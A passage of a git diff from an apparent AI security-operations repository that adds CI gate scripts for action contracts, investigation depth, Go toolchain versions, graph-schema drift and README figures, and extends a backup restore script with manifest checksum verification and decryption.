+def _all_subclasses(cls: type) -> list[type]:
+ found: list[type] = []
+ for sub in cls.__subclasses__():
+ found.append(sub)
+ found.extend(_all_subclasses(sub))
+ return found
+
+
+def main(argv: list[str] | None = None) -> int:
+ argparse.ArgumentParser(description=__doc__).parse_args(argv)
+
+ try:
+ errors = check_contracts() + check_approval_matrix() + check_capability_mirror()
+ except ImportError as exc:
+ print(f"action-contract: cannot import the actions package: {exc}", file=sys.stderr)
+ return 2
+
+ if errors:
+ print("ACTION CONTRACT GATE FAILED:", file=sys.stderr)
+ for error in errors:
+ print(f" - {error}", file=sys.stderr)
+ return 1
+
+ from app.live_actions.executor import LiveActionExecutor
+
+ concrete = [
+ c for c in _all_subclasses(LiveActionExecutor) if not getattr(c, "__abstractmethods__", None)
+ ]
+ print(
+ f"action-contract: OK — {len(concrete)} executors declare a coherent "
+ f"contract; the approval matrix cannot lower a requirement"
+ )
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/check_investigation_depth.py b/scripts/check_investigation_depth.py
new file mode 100644
index 000000000..7bb0a7f3a
--- /dev/null
+++ b/scripts/check_investigation_depth.py
@@ -0,0 +1,268 @@
+#!/usr/bin/env python3
+"""Gate: investigations must actually investigate.
+
+Pillar 2's failure mode is not that the code is absent — ``run_with_tools``
+existed and worked for months with no production caller. It is that depth
+silently disappears. A refactor drops the tool binding, a prompt change makes
+the model answer in one turn, an exception handler swallows the loop, and
+what ships is alert-enrich-summarise with an investigation's vocabulary. Every
+narrative still reads plausibly, so nothing catches it.
+
+This grades the structure of an investigation rather than its prose:
+
+ 1. Every strategy's ``expected_pivots`` must name a real tool. A strategy
+ that asks for a tool nobody implements is guidance the model cannot
+ follow.
+ 2. Every backed tool must be reachable from at least one strategy,
+ otherwise it is dead weight the model pays context for.
+ 3. The loop must be wired into a production path. This is the specific
+ regression that already happened once.
+ 4. Replayed investigations (when a corpus is supplied) must reach their
+ strategy's pivot floor, with real distinct tools, inside budget.
+
+Run: python3 scripts/check_investigation_depth.py [--corpus path.json]
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import re
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+AGENTS = REPO_ROOT / "services" / "agents"
+
+sys.path.insert(0, str(AGENTS))
+
+
+def _fail(errors: list[str], message: str) -> None:
+ errors.append(message)
+
+
+def check_strategies(errors: list[str]) -> None:
+ """Strategies and tools must agree on what exists."""
+ from app.investigator.strategies import KNOWN_PIVOTS, STRATEGIES
+
+ if len(STRATEGIES) < 5:
+ _fail(
+ errors,
+ f"only {len(STRATEGIES)} strategies defined; the library is meant to "
+ f"cover the kill chains the corpus fires on",
+ )
+
+ seen_pivots: set[str] = set()
+ for strategy in STRATEGIES:
+ if not strategy.expected_pivots:
+ _fail(errors, f"strategy {strategy.id!r} declares no expected pivots")
+ if not strategy.rationale.strip():
+ _fail(errors, f"strategy {strategy.id!r} has no rationale")
+ if strategy.min_pivots < 2:
+ _fail(
+ errors,
+ f"strategy {strategy.id!r} has min_pivots={strategy.min_pivots}; "
+ f"a single tool call is enrichment, not an investigation",
+ )
+ if strategy.min_pivots > len(strategy.expected_pivots):
+ _fail(
+ errors,
+ f"strategy {strategy.id!r} requires {strategy.min_pivots} pivots but "
+ f"only names {len(strategy.expected_pivots)}; it can never pass",
+ )
+ for pivot in strategy.expected_pivots:
+ seen_pivots.add(pivot)
+ if pivot not in KNOWN_PIVOTS:
+ _fail(
+ errors,
+ f"strategy {strategy.id!r} expects unknown pivot {pivot!r}",
+ )
+
+ return None
+
+
+def check_tool_coverage(errors: list[str]) -> None:
+ """Every tool the model is offered must be worth its context cost."""
+ from app.investigator.strategies import STRATEGIES
+ from app.tools.investigation import investigation_tools
+
+ tool_names = {t.name for t in investigation_tools("test-tenant")}
+ expected = {p for s in STRATEGIES for p in s.expected_pivots}
+
+ orphaned = tool_names - expected
+ if orphaned:
+ _fail(
+ errors,
+ f"tools offered to the model but named by no strategy: "
+ f"{', '.join(sorted(orphaned))} — the model pays context for these "
+ f"with no guidance on when to use them",
+ )
+
+ missing = expected - tool_names
+ if missing:
+ _fail(
+ errors,
+ f"strategies expect tools that do not exist: {', '.join(sorted(missing))}",
+ )
+
+ for tool in investigation_tools("test-tenant"):
+ if len(tool.description) < 40:
+ _fail(
+ errors,
+ f"tool {tool.name!r} has a {len(tool.description)}-character "
+ f"description; the model selects on this",
+ )
+
+
+def check_loop_is_wired(errors: list[str]) -> None:
+ """The regression that already happened: a loop with no production caller.
+
+ Checked by reading the source rather than by importing, so the gate does
+ not need an LLM, a lake or a running service.
+ """
+ driver = AGENTS / "app" / "investigator" / "deep_investigation.py"
+ if not driver.exists():
+ _fail(errors, "app/investigator/deep_investigation.py is missing")
+ return
+ if "run_with_tools(" not in driver.read_text(encoding="utf-8"):
+ _fail(errors, "deep_investigation.py no longer calls run_with_tools")
+
+ agent = AGENTS / "app" / "agents" / "investigation_agent.py"
+ if not agent.exists():
+ _fail(errors, "app/agents/investigation_agent.py is missing")
+ return
+ agent_source = agent.read_text(encoding="utf-8")
+ if "run_deep_investigation" not in agent_source:
+ _fail(
+ errors,
+ "investigation_agent.py does not call run_deep_investigation — the "
+ "tool loop has no production caller again, which is exactly the "
+ "state this gate exists to prevent",
+ )
+ if "investigation_depth" not in agent_source:
+ _fail(
+ errors,
+ "investigation_agent.py does not record investigation_depth; without "
+ "it a shallow run is indistinguishable from a deep one after the fact",
+ )
+
+ # The toolset must actually be bound, not merely imported.
+ driver_source = driver.read_text(encoding="utf-8")
+ if not re.search(r"registry\.register\(", driver_source):
+ _fail(
+ errors,
+ "deep_investigation.py does not register the investigation tools onto "
+ "the registry; the loop would run with enrichment tools only",
+ )
+
+
+def check_selection(errors: list[str]) -> None:
+ """Strategy selection must discriminate, not always return the fallback."""
+ from app.investigator.strategies import FALLBACK, select_strategy
+
+ cases = [
+ ("suspicious powershell process spawned on WS-42", ["T1059.001"], "endpoint-suspicious-process"),
+ ("impossible travel detected for user j.doe", ["T1078"], "identity-account-takeover"),
+ ("user clicked phishing url in email", ["T1566.002"], "phishing-payload"),
+ ("periodic outbound beacon to 203.0.113.9", ["T1071.001"], "c2-beaconing"),
+ ("psexec lateral movement to FS-01", ["T1021.002"], "lateral-movement"),
+ ]
+ for summary, techniques, expected in cases:
+ chosen = select_strategy(summary=summary, techniques=techniques)
+ if chosen.id != expected:
+ _fail(
+ errors,
+ f"selection: {summary!r} chose {chosen.id!r}, expected {expected!r}",
+ )
+
+ unmatched = select_strategy(summary="something entirely unrelated", techniques=[])
+ if unmatched.id != FALLBACK.id:
+ _fail(errors, f"an unmatched alert chose {unmatched.id!r} rather than the fallback")
+
+
+def check_corpus(errors: list[str], corpus_path: Path) -> None:
+ """Grade recorded investigation runs against their strategy's floor.
+
+ The corpus is produced by the eval harness; this gate only reads it, so a
+ PR that has not re-run the harness is checked on structure alone rather
+ than being blocked.
+ """
+ from app.investigator.strategies import get_strategy
+
+ try:
+ runs = json.loads(corpus_path.read_text(encoding="utf-8"))
+ except Exception as exc:
+ _fail(errors, f"could not read corpus {corpus_path}: {exc}")
+ return
+
+ if not isinstance(runs, list) or not runs:
+ _fail(errors, f"corpus {corpus_path} is empty")
+ return
+
+ shallow: list[str] = []
+ for run in runs:
+ strategy_id = run.get("strategy_id", "")
+ strategy = get_strategy(strategy_id)
+ floor = strategy.min_pivots if strategy else 2
+ distinct = int(run.get("distinct_pivots", 0))
+ if distinct < floor:
+ shallow.append(
+ f"{run.get('incident_id', '?')} ({strategy_id}): {distinct} pivots, floor {floor}"
+ )
+
+ if shallow:
+ _fail(
+ errors,
+ f"{len(shallow)}/{len(runs)} investigations did not reach their "
+ f"strategy's pivot floor:\n " + "\n ".join(shallow[:10]),
+ )
+
+ over = [r for r in runs if r.get("over_budget")]
+ if len(over) > len(runs) * 0.1:
+ _fail(
+ errors,
+ f"{len(over)}/{len(runs)} investigations exceeded their time budget; "
+ f"the pivot chain is too slow to run on the hot path",
+ )
+
+
+def main(argv: list[str] | None = None) -> int:
+ parser = argparse.ArgumentParser(description=__doc__)
+ parser.add_argument(
+ "--corpus",
+ type=Path,
+ help="Optional JSON array of recorded investigation_depth payloads to grade.",
+ )
+ args = parser.parse_args(argv)
+
+ errors: list[str] = []
+ try:
+ check_strategies(errors)
+ check_tool_coverage(errors)
+ check_loop_is_wired(errors)
+ check_selection(errors)
+ except ImportError as exc:
+ print(f"investigation-depth: cannot import the agents package: {exc}", file=sys.stderr)
+ return 2
+
+ if args.corpus:
+ check_corpus(errors, args.corpus)
+
+ if errors:
+ print("INVESTIGATION DEPTH GATE FAILED:", file=sys.stderr)
+ for error in errors:
+ print(f" - {error}", file=sys.stderr)
+ return 1
+
+ from app.investigator.strategies import STRATEGIES
+ from app.tools.investigation import investigation_tools
+
+ print(
+ f"investigation-depth: OK — {len(STRATEGIES)} strategies, "
+ f"{len(investigation_tools('t'))} tools, loop wired into the production path"
+ )
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/check_toolchain_versions.py b/scripts/check_toolchain_versions.py
new file mode 100644
index 000000000..563e099ce
--- /dev/null
+++ b/scripts/check_toolchain_versions.py
@@ -0,0 +1,129 @@
+#!/usr/bin/env python3
+"""Gate: one Go version across the repo, and CI installs it.
+
+Six ``go.mod`` files declared five different versions — 1.21, 1.22, 1.24,
+1.25.0 and 1.26 — while the CI Go matrix installed 1.25. That is not
+untidiness: ``services/osquery-extensions`` declared 1.26, so it could not be
+built by the toolchain CI provides, and a contributor following the repo
+would install whichever version they happened to read first.
+
+Nothing checked, because nothing compared the two. This does.
+
+Run: python3 scripts/check_toolchain_versions.py
+"""
+
+from __future__ import annotations
+
+import argparse
+import re
+import sys
+from pathlib import Path
+
+REPO_ROOT = Path(__file__).resolve().parent.parent
+WORKFLOWS = REPO_ROOT / ".github" / "workflows"
+
+
+def go_modules() -> dict[Path, str]:
+ """Every go.mod and the version it declares."""
+ found: dict[Path, str] = {}
+ for path in sorted(REPO_ROOT.rglob("go.mod")):
+ # Vendored and cached trees are not ours to align.
+ if any(part in ("vendor", "node_modules", ".git") for part in path.parts):
+ continue
+ match = re.search(r"^go (\S+)$", path.read_text(encoding="utf-8"), re.M)
+ if match:
+ found[path.relative_to(REPO_ROOT)] = match.group(1)
+ return found
+
+
+def workflow_go_versions() -> dict[str, set[str]]:
+ """Every ``go-version:`` a workflow asks setup-go to install."""
+ found: dict[str, set[str]] = {}
+ for path in sorted(WORKFLOWS.glob("*.yml")):
+ versions = set(
+ re.findall(r"go-version:\s*['\"]?([0-9][0-9.x]*)['\"]?", path.read_text(encoding="utf-8"))
+ )
+ if versions:
+ found[path.name] = versions
+ return found
+
+
+def dockerfile_go_images() -> dict[str, str]:
+ """Every ``FROM golang:X.Y`` base image in the repo.
+
+ Added because the first version of this gate checked go.mod against the
+ CI workflows and stopped there. Bumping the modules to 1.26 then broke
+ the compose build: three Dockerfiles still pinned golang:1.21, 1.24 and
+ 1.25, and ``go mod download`` failed inside the image against a module
+ requiring a newer toolchain. A gate that covers two of the three places
+ a version is written finds the drift it was not looking for.
+ """
+ found: dict[str, str] = {}
+ for path in sorted(REPO_ROOT.rglob("Dockerfile*")):
+ if any(part in ("node_modules", ".git", "plans") for part in path.parts):
+ continue
+ match = re.search(r"FROM\s+golang:(\d+\.\d+(?:\.\d+)?)", path.read_text(encoding="utf-8"))
+ if match:
+ found[str(path.relative_to(REPO_ROOT))] = match.group(1)
+ return found
+
+
+def _minor(version: str) -> tuple[int, int]:
+ parts = version.split(".")
+ return (int(parts[0]), int(parts[1]) if len(parts) > 1 else 0)
+
+
+def main(argv: list[str] | None = None) -> int:
+ argparse.ArgumentParser(description=__doc__).parse_args(argv)
+ errors: list[str] = []
+
+ modules = go_modules()
+ if not modules:
+ print("toolchain: no go.mod files found", file=sys.stderr)
+ return 2
+
+ declared = set(modules.values())
+ if len(declared) > 1:
+ detail = "\n".join(f" {p}: {v}" for p, v in sorted(modules.items()))
+ errors.append(
+ f"go.mod files declare {len(declared)} different Go versions "
+ f"({', '.join(sorted(declared))}):\n{detail}"
+ )
+
+ target = max(declared, key=_minor)
+ target_minor = _minor(target)
+
+ for workflow, versions in workflow_go_versions().items():
+ for version in versions:
+ if version.endswith("x"):
+ continue
+ if _minor(version) < target_minor:
+ errors.append(
+ f".github/workflows/{workflow} installs Go {version}, but a module "
+ f"declares {target}. That module cannot be built by the toolchain "
+ f"CI provides."
+ )
+
+ for dockerfile, version in dockerfile_go_images().items():
+ if _minor(version) < target_minor:
+ errors.append(
+ f"{dockerfile} builds on golang:{version}, but a module declares "
+ f"{target}. `go mod download` fails inside the image."
+ )
+
+ if errors:
+ print("TOOLCHAIN VERSION GATE FAILED:", file=sys.stderr)
+ for error in errors:
+ print(f" - {error}", file=sys.stderr)
+ return 1
+
+ images = dockerfile_go_images()
+ print(
+ f"toolchain: OK — {len(modules)} Go modules on {target}; CI and "
+ f"{len(images)} Dockerfile(s) install it"
+ )
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/scripts/export_graph_schema.py b/scripts/export_graph_schema.py
index 3cc02a7d9..314814802 100755
--- a/scripts/export_graph_schema.py
+++ b/scripts/export_graph_schema.py
@@ -55,7 +55,23 @@ DEFAULT_YAML = REPO_ROOT / "schemas" / "graph-schema.yaml"
DEFAULT_CURRENT_YAML = REPO_ROOT / "schemas" / "graph-schema-current.yaml"
DEFAULT_GO_SOURCE = REPO_ROOT / "services" / "ingest" / "internal" / "graph" / "schema.go"
-SCHEMA_VERSION = "v1.0"
+def _go_schema_version(path: Path = DEFAULT_GO_SOURCE) -> str:
+ """Read SchemaVersion out of schema.go.
+
+ Derived rather than duplicated. The version previously lived here as a
+ literal as well as in the Go source and the YAML, so a bump meant editing
+ three files and the gate's failure message was a reminder to edit the
+ third. Two representations that must agree is a gate; three, one of which
+ is the gate itself, is a chore.
+ """
+ if path.exists():
+ match = re.search(r'SchemaVersion\s*=\s*"([^"]+)"', path.read_text(encoding="utf-8"))
+ if match:
+ return match.group(1)
+ return "v1.0"
+
+
+SCHEMA_VERSION = _go_schema_version()
# Required event-edge property set. Every relationship marked
# ``event_edge: true`` must declare all three.
@@ -154,26 +170,51 @@ _STRING_LITERAL_RE = re.compile(r'"([A-Za-z][A-Za-z0-9_]*)"')
def parse_go_source(path: Path) -> tuple[set[str], set[str]] | None:
- """Extract candidate node labels and relationship names from a Go file.
+ """Extract node labels and relationship names from the Go enums.
+
+ Classifies by the declared Go type (``NodeLabel`` / ``RelType``) rather
+ than by the shape of the string. The previous heuristic — "contains a
+ lowercase letter, so it is a CamelCase label, otherwise ALL_CAPS, so it
+ is a relationship" — put the ``IOC`` node label in the relationship set,
+ and would do the same to any acronym label added later. The type is
+ already in the source and is not a guess.
+
+ Go permits omitting the type on subsequent entries in a ``const`` block,
+ so the last explicit type carries forward, as the compiler does.
Returns ``None`` when the file does not exist (T1.1 not yet landed).
"""
if not path.exists():
return None
- content = path.read_text(encoding="utf-8")
+
labels: set[str] = set()
rels: set[str] = set()
- for match in _STRING_LITERAL_RE.finditer(content):
- token = match.group(1)
- # Heuristic: any lowercase letter → CamelCase label; otherwise an
- # ALL_CAPS (or ALLCAPS) token → relationship name. This handles
- # both ``HAS_PERMISSION`` and single-word relationships like
- # ``ACCESSES`` or ``OWNS`` without misclassifying ``SaaSApp``.
- if re.search(r"[a-z]", token):
- if re.fullmatch(r"[A-Z][a-zA-Z0-9]*", token):
- labels.add(token)
- elif re.fullmatch(r"[A-Z][A-Z0-9_]*", token):
- rels.add(token)
+
+ typed = re.compile(r'^\s*\w+\s+(NodeLabel|RelType)\s*=\s*"([^"]+)"')
+ untyped = re.compile(r'^\s*\w+\s*=\s*"([^"]+)"')
+
+ current: str | None = None
+ in_const = False
+ for line in path.read_text(encoding="utf-8").splitlines():
+ stripped = line.strip()
+ if stripped.startswith("const ("):
+ in_const, current = True, None
+ continue
+ if in_const and stripped == ")":
+ in_const, current = False, None
+ continue
+
+ match = typed.match(line)
+ if match:
+ current = match.group(1)
+ (labels if current == "NodeLabel" else rels).add(match.group(2))
+ continue
+
+ if in_const and current:
+ match = untyped.match(line)
+ if match:
+ (labels if current == "NodeLabel" else rels).add(match.group(1))
+
return labels, rels
@@ -249,8 +290,8 @@ def validate_yaml_internal(schema: Schema) -> list[str]:
if schema.version != SCHEMA_VERSION:
errors.append(
f"schema version mismatch: YAML declares {schema.version!r}, "
- f"script expects {SCHEMA_VERSION!r}. Bump SCHEMA_VERSION in "
- f"scripts/export_graph_schema.py if this is intentional."
+ f"Go source declares {SCHEMA_VERSION!r}. Update the `version:` "
+ f"field in schemas/graph-schema.yaml to match schema.go."
)
duplicates = [name for name in schema.node_labels if schema.node_labels.count(name) > 1]
@@ -271,14 +312,18 @@ def validate_yaml_internal(schema: Schema) -> list[str]:
def compare_against_go(schema: Schema, go_parsed: tuple[set[str], set[str]]) -> list[str]:
- """Compare the YAML against parsed Go enums.
-
- The comparison is intentionally lenient on the Go side: Go may declare
- labels we already cover in the YAML (no error). Drift fires when:
-
- * A YAML node label is not present anywhere in Go (Go forgot to declare
- it).
- * A YAML relationship is not present anywhere in Go.
+ """Compare the YAML against the parsed Go enums, in both directions.
+
+ This used to check one direction only — a YAML label missing from Go —
+ and called it "intentionally lenient". The leniency had no upside: if Go
+ declares a label the YAML already covers, the set difference is empty
+ anyway, so the only thing the missing direction permitted was the failure
+ case. And it is the direction the code actually moves in: someone adds a
+ label to schema.go, ships it, and the YAML and docs silently fall behind
+ while the gate reports the schema consistent. That happened — the Go
+ source carried 28 labels against the YAML's 17 and this printed OK.
+
+ Both directions now fail.
"""
errors: list[str] = []
go_labels, go_rels = go_parsed
@@ -288,11 +333,35 @@ def compare_against_go(schema: Schema, go_parsed: tuple[set[str], set[str]]) ->
missing_in_go_labels = yaml_labels - go_labels
if missing_in_go_labels:
- errors.append(f"node labels declared in YAML but missing from Go source: {_format_set(missing_in_go_labels)}")
+ errors.append(
+ f"node labels declared in YAML but missing from Go source: "
+ f"{_format_set(missing_in_go_labels)}"
+ )
+
+ missing_in_yaml_labels = go_labels - yaml_labels
+ if missing_in_yaml_labels:
+ errors.append(
+ f"node labels declared in Go source but missing from YAML: "
+ f"{_format_set(missing_in_yaml_labels)} — run "
+ f"`python scripts/export_graph_schema.py --write` and update "
+ f"apps/docs/docs/architecture/graph-schema.md"
+ )
missing_in_go_rels = yaml_rels - go_rels
if missing_in_go_rels:
- errors.append(f"relationships declared in YAML but missing from Go source: {_format_set(missing_in_go_rels)}")
+ errors.append(
+ f"relationships declared in YAML but missing from Go source: "
+ f"{_format_set(missing_in_go_rels)}"
+ )
+
+ missing_in_yaml_rels = go_rels - yaml_rels
+ if missing_in_yaml_rels:
+ errors.append(
+ f"relationships declared in Go source but missing from YAML: "
+ f"{_format_set(missing_in_yaml_rels)} — run "
+ f"`python scripts/export_graph_schema.py --write` and update "
+ f"apps/docs/docs/architecture/graph-schema.md"
+ )
return errors
diff --git a/scripts/readme_gates.py b/scripts/readme_gates.py
index c561d6f1e..73733b79c 100644
--- a/scripts/readme_gates.py
+++ b/scripts/readme_gates.py
@@ -358,11 +358,94 @@ def gate_sandbox_offline_smoke() -> list[GateFailure]:
# ── Driver ──────────────────────────────────────────────────────────────────
+# ── Gate 4: README figures must match their generated source of truth ────────
+#
+# The README quotes two numbers that are generated elsewhere: how many detection
+# rules actually execute, and how many product claims are CI-gated. Both drifted
+# — the README advertised 947 executable rules while the truth table said 833,
+# and 62 GATED while the matrix said 72. Neither is a typo class of error: a
+# reader has no way to tell the front page from the generated artifact, so the
+# larger number is simply believed. This gate makes the README unable to quote a
+# figure its source disagrees with.
+
+TRUTH_TABLE = REPO_ROOT / "docs" / "detections" / "truth-table.md"
+CLAIM_MATRIX = REPO_ROOT / "docs" / "audit" / "CLAIM_TO_GATE_MATRIX.md"
+
+
+def _truth_table_executable() -> int | None:
+ """The executable-rule count from the generated truth table."""
+ if not TRUTH_TABLE.exists():
+ return None
+ m = re.search(
+ r"\|\s*\*\*executable \(loaded by the engine\)\*\*\s*\|\s*\*\*(\d+)\*\*",
+ _read(TRUTH_TABLE),
+ )
+ return int(m.group(1)) if m else None
+
+
+def _matrix_counts() -> tuple[int, int] | None:
+ """(gated, partial) counted from the matrix rows themselves, not its prose."""
+ if not CLAIM_MATRIX.exists():
+ return None
+ gated = partial = 0
+ for line in _read(CLAIM_MATRIX).splitlines():
+ if not line.lstrip().startswith("|"):
+ continue
+ if "NO GATE" in line:
+ continue
+ if "PARTIAL" in line:
+ partial += 1
+ elif "GATED" in line:
+ gated += 1
+ return (gated, partial) if (gated or partial) else None
+
+
+def gate_readme_figures() -> list[GateFailure]:
+ """Detection and claim-gate figures in the README must match their source."""
+ failures: list[GateFailure] = []
+ readme = _read(README)
+
+ executable = _truth_table_executable()
+ if executable is not None:
+ # Any "<n> executable" or "corpus (<n> rules)" phrasing in the README.
+ quoted = {
+ int(n)
+ for n in re.findall(r"(\d{3,5})\s+executable", readme)
+ + re.findall(r"detection corpus \((\d{3,5}) rules\)", readme)
+ }
+ for n in sorted(quoted - {executable}):
+ failures.append(
+ GateFailure(
+ "readme-figures",
+ f"README claims {n} executable detection rules; "
+ f"docs/detections/truth-table.md says {executable}. "
+ f"Regenerate with scripts/detection_truth_table.py and use its number.",
+ )
+ )
+
+ counts = _matrix_counts()
+ if counts is not None:
+ gated, partial = counts
+ for m in re.finditer(r"(\d+)\s+GATED\s*/\s*(\d+)\s+PARTIAL", readme):
+ if (int(m.group(1)), int(m.group(2))) != (gated, partial):
+ failures.append(
+ GateFailure(
+ "readme-figures",
+ f"README claims {m.group(1)} GATED / {m.group(2)} PARTIAL; "
+ f"docs/audit/CLAIM_TO_GATE_MATRIX.md has {gated} GATED / "
+ f"{partial} PARTIAL.",
+ )
+ )
+
+ return failures
+
+
def _run_all(check_network: bool, skip_sandbox: bool) -> list[GateFailure]:
failures: list[GateFailure] = []
failures.extend(gate_readme_line_count())
failures.extend(gate_package_references(check_network))
failures.extend(gate_demo_asset_references())
+ failures.extend(gate_readme_figures())
if not skip_sandbox:
failures.extend(gate_sandbox_offline_smoke())
return failures
diff --git a/scripts/restore.sh b/scripts/restore.sh
index 500d2dc18..ffcbfe121 100755
--- a/scripts/restore.sh
+++ b/scripts/restore.sh
@@ -2,8 +2,14 @@
# restore.sh — AiSOC full-stack restore from S3/R2
#
# Restores:
-# 1. PostgreSQL (download + gunzip + psql)
-# 2. ClickHouse (download + gunzip + clickhouse-client INSERT)
+# 1. PostgreSQL (download + verify + decrypt + gunzip + psql)
+# 2. ClickHouse (download + verify + decrypt + gunzip + HTTP INSERT)
+#
+# Artifacts written by backup.sh are AES-256-GCM encrypted and recorded in a
+# SHA-256 manifest. Restore fetches the manifest first and checks the digest of
+# every artifact it downloads against it, then decrypts. A digest mismatch
+# aborts: restoring a corrupted dump is worse than not restoring, because it
+# looks like it worked.
# 3. Plugin store (download + extract artifacts)
#
# Required environment variables (same as backup.sh):
@@ -15,6 +21,8 @@
# CLICKHOUSE_USER — ClickHouse user
# CLICKHOUSE_PASSWORD — ClickHouse password
# CLICKHOUSE_DATABASE — ClickHouse database to restore
+# BACKUP_ENCRYPTION_KEY / BACKUP_ENCRYPTION_KEY_FILE — the key the backup
+# was written with (see scripts/backup_crypt.py)
# AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_ENDPOINT_URL
#
# Usage:
@@ -76,6 +84,87 @@ s3_download() {
aws s3 cp $(s3_args) "$src" "$dest"
}
+
+# ── manifest verification + decryption ────────────────────────────────────────
+# A backup you cannot verify is a backup you are guessing about. fetch_artifact
+# is the only download path used below, so no component can skip the check.
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+MANIFEST_FILE=""
+
+load_manifest() {
+ local remote="${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/manifests/manifest-${TIMESTAMP}.json"
+ MANIFEST_FILE="${RESTORE_DIR}/manifest.json"
+ if s3_download "$remote" "$MANIFEST_FILE" 2>/dev/null; then
+ log "Manifest loaded: $remote"
+ else
+ MANIFEST_FILE=""
+ log "No manifest at ${remote}."
+ log " This backup predates manifest support, so its integrity cannot be"
+ log " verified. Continuing, but treat the restore as unverified."
+ fi
+}
+
+manifest_lookup() {
+ # artifact name -> "<sha256_ciphertext_or_empty>\t<encrypted:true|false>"
+ [[ -z "$MANIFEST_FILE" ]] && { echo -e "\t"; return; }
+ python3 - "$MANIFEST_FILE" "$1" <<'PYEOF'
+import json, sys
+doc = json.load(open(sys.argv[1]))
+for a in doc.get("artifacts", []):
+ if a["name"] == sys.argv[2]:
+ print(f"{a.get('sha256_ciphertext') or ''}\t{'true' if a.get('encrypted') else 'false'}")
+ break
+else:
+ print("\t")
+PYEOF
+}
+
+fetch_artifact() {
+ # Downloads <s3 dir>/<base>[.enc], verifies, decrypts. Echoes the local
+ # plaintext path. Prefers the encrypted object when both exist.
+ local s3dir="$1" base="$2" dest="$3"
+ local remote_enc="${s3dir}/${base}.enc"
+ local local_enc="${dest}.enc"
+
+ if aws s3 ls $(s3_args) "$remote_enc" &>/dev/null; then
+ s3_download "$remote_enc" "$local_enc"
+ verify_artifact "$(basename "$remote_enc")" "$local_enc"
+ require python3
+ python3 "${SCRIPT_DIR}/backup_crypt.py" decrypt "$local_enc" --output "$dest" >/dev/null || {
+ echo "[ERROR] Could not decrypt ${remote_enc}." >&2
+ echo " Check BACKUP_ENCRYPTION_KEY / BACKUP_ENCRYPTION_KEY_FILE matches" >&2
+ echo " the key this backup was written with." >&2
+ exit 1
+ }
+ rm -f "$local_enc"
+ else
+ s3_download "${s3dir}/${base}" "$dest"
+ verify_artifact "$base" "$dest"
+ fi
+ echo "$dest"
+}
+
+verify_artifact() {
+ local name="$1" path="$2"
+ [[ -z "$MANIFEST_FILE" ]] && return 0
+ local expected actual
+ expected=$(manifest_lookup "$name" | cut -f1)
+ if [[ -z "$expected" ]]; then
+ log " ${name}: not listed in the manifest; integrity unverified"
+ return 0
+ fi
+ actual=$(python3 "${SCRIPT_DIR}/backup_crypt.py" sha256 "$path")
+ if [[ "$actual" != "$expected" ]]; then
+ echo "[ERROR] Integrity check failed for ${name}." >&2
+ echo " manifest: ${expected}" >&2
+ echo " actual: ${actual}" >&2
+ echo " Refusing to restore: a corrupted dump restores as if it worked." >&2
+ exit 1
+ fi
+ log " ${name}: sha256 verified"
+}
+
# ── list backups ──────────────────────────────────────────────────────────────
list_backups() {
[[ -z "$BACKUP_S3_BUCKET" ]] && { echo "BACKUP_S3_BUCKET is required" >&2; exit 1; }
@@ -102,10 +191,23 @@ fi
resolve_timestamp() {
if [[ "$USE_LATEST" == "true" ]]; then
log "Resolving latest backup timestamp…"
- TIMESTAMP=$(s3_ls "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres" \
- | grep -oP '\d{8}T\d{6}Z' | sort | tail -1 || true)
+ # grep -oE, not -oP: BSD grep (macOS) has no -P, and the `|| true` below
+ # turned that into the misleading "no postgres backups found" rather than
+ # "your grep cannot do this" — on the machine someone is most likely to be
+ # running a recovery from.
+ local listing
+ listing=$(s3_ls "${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres" || true)
+ TIMESTAMP=$(printf '%s\n' "$listing" \
+ | grep -oE '[0-9]{8}T[0-9]{6}Z' | sort | tail -1 || true)
if [[ -z "$TIMESTAMP" ]]; then
- echo "No postgres backups found to determine latest timestamp" >&2
+ echo "No postgres backups found to determine latest timestamp." >&2
+ echo " Looked in: ${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres" >&2
+ if [[ -n "$listing" ]]; then
+ echo " Objects present but none matched <YYYYMMDD>T<HHMMSS>Z:" >&2
+ printf '%s\n' "$listing" | sed 's/^/ /' >&2
+ else
+ echo " The prefix is empty or unreadable — check credentials and endpoint." >&2
+ fi
exit 1
fi
log "Latest timestamp: $TIMESTAMP"
@@ -134,6 +236,8 @@ resolve_timestamp
mkdir -p "$RESTORE_DIR"
trap 'rm -rf "$RESTORE_DIR"' EXIT
+load_manifest
+
log "=== AiSOC Restore started: timestamp=${TIMESTAMP} ==="
log "Component: ${COMPONENT}"
@@ -149,11 +253,12 @@ fi
restore_postgres() {
[[ -z "$POSTGRES_URL" ]] && { echo "POSTGRES_URL is not set; skipping postgres restore" >&2; return; }
log "--- PostgreSQL restore ---"
- local s3src="${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres/postgres-${TIMESTAMP}.sql.gz"
- local local_file="${RESTORE_DIR}/postgres-${TIMESTAMP}.sql.gz"
+ local s3dir="${BACKUP_S3_BUCKET}/${BACKUP_S3_PREFIX}/postgres"
+ local base="postgres-${TIMESTAMP}.sql.gz"
+ local local_file="${RESTORE_DIR}/${base}"
- log "Downloading $s3src…"
- s3_download "$s3src" "$local_file"
+ log "Downloading ${s3dir}/${base}…"
+ fetch_artifact "$s3dir" "$base" "$local_file" >/dev/null
log "Download complete ($(du -sh "$local_file" | cut -f1))"
log "Restoring to ${POSTGRES_URL}…"
@@ -183,22 +288,36 @@ restore_clickhouse() {
while IFS= read -r table; do
[[ -z "$table" ]] && continue
- local s3src="${ch_s3_prefix}/${table}/${table}-${TIMESTAMP}.tsv.gz"
- local local_file="${RESTORE_DIR}/ch-${table}-${TIMESTAMP}.tsv.gz"
+ local s3dir="${ch_s3_prefix}/${table}"
+ local base="${table}-${TIMESTAMP}.tsv.gz"
+ local local_file="${RESTORE_DIR}/ch-${base}"
log " Restoring table: ${CLICKHOUSE_DATABASE}.${table}"
